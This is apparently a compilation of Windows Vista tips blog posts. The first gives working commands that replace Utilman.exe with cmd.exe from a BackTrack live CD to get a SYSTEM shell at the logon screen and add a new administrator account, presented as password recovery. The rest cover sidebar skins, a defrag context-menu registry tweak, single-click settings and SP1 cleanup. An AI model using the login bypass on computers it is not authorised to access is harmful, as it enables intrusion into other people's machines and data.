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Why hack Windows passwords when you can simply create yourself a new Administrator account?

In a previous post I showed how you can use an Ophcrack Live CD to crack Windows passwords in minutes. It works, I’ve done it before and it really works. The free, open source Ophcrack Live CD is a Windows account password cracking tool designed to help you recover lost Windows passwords. Quite a few people have sent me emails or chatted me via my website saying “I forgot my password”, or “my kid locked himself out of his pc”. I’m unsure if that’s really the case or if they were just looking for a way to crack Windows passwords. However, if that is really the case there is potentially a much faster way to resolve your issue… just create a new Administrator account!

To create a new Administrator account you’ll want to grab a copy of the Offensive Security’s BackTrack Live CD which can be found here.

What is BackTrack?

BackTrack is the result of the merging of two Innovative Penetration Testing live Linux distributions – Whax and Auditor. BackTrack has been dubbed as the best Security Live CD today, and has been rated 1st in its category, and 32nd overall in Insecure.org. Based on SLAX (Slackware), BackTrack provides user modularity. This means the distribution can be easily customised by the user to include personal scripts, additional tools, customized kernels, etc.

BackTrack Terminal Window

Here’s a quick and dirty way to make a new user account.

Boot into Backtrack and open a shell prompt:

• cd /mnt (change directory to mounted drives)

• ls (get the list of mounted drives)

• cd sda1 (sda1 is the main hard drive)

• cd Windows/ (change to the windows directory)

• cd System32/ (change to the system directory)

• mv Utilman.exe Utilman.old (backup original file)

• cp cmd.exe Utilman.exe (copy cmd.exe as utilman.exe)

• reboot

Once rebooted, at vista logon screen do the following:

• Press Windows key + U

• To invoke Utility Manager ( A.K.A. CMD.exe)

• Cmd.exe will spawn with ‘System’ privileges.

• c:\>net user S00perAdmin mypassword /add

• c:\>net localgroup administrators S00perAdmin /add

• Reboot and log in with your newly added Admin account

There ya go… now instead of needing to “crack” you “lost” password you can simply create a new Administrator account, login with that and then change the lost accounts password to what you want it to be.

I’ve been a long time customizer of the Windows interface. Windows XP always looked like it was designed by a team from Fischer Price (hey, it’s “My First PC!”). Vista is of course much better looking in the visual department but there are still tons of GUI customizations out there that many people prefer. If you want to change the way Windows looks, then get a copy of WindowBlinds by StarDock. A WindowBlinds skin can make Windows look like an alternative operating system, like their favorite sports or car brand, or something completely new. Because WindowBlinds uses the latest hardware acceleration features of modern video cards, WindowBlinds won’t slow down your computer and uses very little memory. (btw… StarDock’s entire suite, called Object Desktop is awesome).

If you’re using Vista with a WindowBlinds skin what’s lacking is customizing the Windows Vista SideBar. The Sidebar of course allows you to run those (sometimes) handy Gadgets on the side of your screen.

Enter Stanimir Stoyanov who has create a very useful application that automates customizing the appearance of the Windows Vista sidebar. If you change your skin and want your sidebar to match, Windows Sidebar Styler makes it very easy to change the look.

1. Visit Stanimir Stoyanov’s blog and download the latest version.
2. Once installed, start up the Windows Sidebar Styler. You can find it in the start menu under Stanimir Stoyanov.
3. You can replace individual graphics used to create a custom theme by scrolling through the Available Resource List, right clicking on a resource and selecting Replace.

   

   Alternatively, you open a theme that was already created by clicking on the open button that is just to the right of the big Apply/Play button.

   

4. Once you have your changes made or theme loaded, hit the big Apply/Play button and you are finished.

   

Looking for more Windows Sidebar Styler themes to download? Check out WinCustomize.

Direct from HowToGeek comes instructions on adding a simple registry tweak that will allow you to add “Defragment” to the context menu on any drive when you right click it.

After manually applying or downloading the hack, you’ll have a new item on the right-click menu for your drives…

Which will start up the command-line version of Disk Defragmenter (after accepting the UAC prompt)

Manual Registry Hack

Open up regedit.exe through the start menu search or run box, and then browse down to the following key:

HKEY_CLASSES_ROOT\Drive\shell

Create a new key under shell called “runas”, and then set the (Default) value to “Defragment”. If you want to hide this menu item behind the Shift key right-click menu, then add a new string called Extended with no value.

Next, you’ll need to create a key called “command” and set the default value to the following, which is the command to run defrag with the default options but show verbose output.

defrag %1 -v

You can alternately choose from one of the other defrag switches here if you’d like.

Downloadable Registry Hack

HowToGeek provides a downloadable registry hack to do all of this for you. Simply download, extract, and double-click on either AddDefragToDriveMenu.reg (for the regular menu) or AddDefragToExtendedDriveMenu.reg (to hide behind the Shift key). There’s also an included removal script that will remove either one.

This change is nothing new, the setting has existed since Windows 9x and likely most of you know how to activate it, but in case you don’t, here’s the quick and easy setting change.

With this change, just hover over an icon and you’ll see the underline:

And a single click will open up the folder.

Changing the Setting

Open up any folder, click on Organize and then Folder and Search options.

Then change the “Click items as follows” section to “Single-click” instead of “Double-click”.

You’ll notice the setting underneath it, which determines whether icon titles are underlined or not by default. The default setting is only when you point at them, so your icons will look normal:

If you change that setting to “Underline icon titles consistent with my browser”, you’ll see the titles on all items, all the time:

When you install Windows Vista Service Pack 1 on your computer (or even if you install a copy of Vista that already has SP1 on it), the installer will not remove the older versions of Vista files from the hard drive. This is because the older files may be required in case you decide to uninstall SP1 later from the system.

SP1 added some needed tweaking and really helped stabilize Vista, why not reclaim some disk space by removing all the older Vista files?

There are no manual steps involved. Just open your Windows command prompt and type vsp1cln.exe (short for Vista SP1 Cleaner). It takes less than a minute to execute.

*vsp1cln.exe is added to your Windows Vista System folder after you install Vista SP1. The command window will display:

Would you like to continue? (Y/N): y

Performing Windows Vista Service Pack 1 Disk Clean-up…

Windows Vista Service Pack 1 Desk Clean-up completed.

This will make  Windows Vista Service Pack 1 permanent on this computer. All the older files are deleted now and your hard disk has tons of extra space for other important files like videos and photos.

You computer need not be connected to the Internet for running the Vista SP1 cleaner tool. And you won’t be able to remove Windows Vista Service Pack 1 later.

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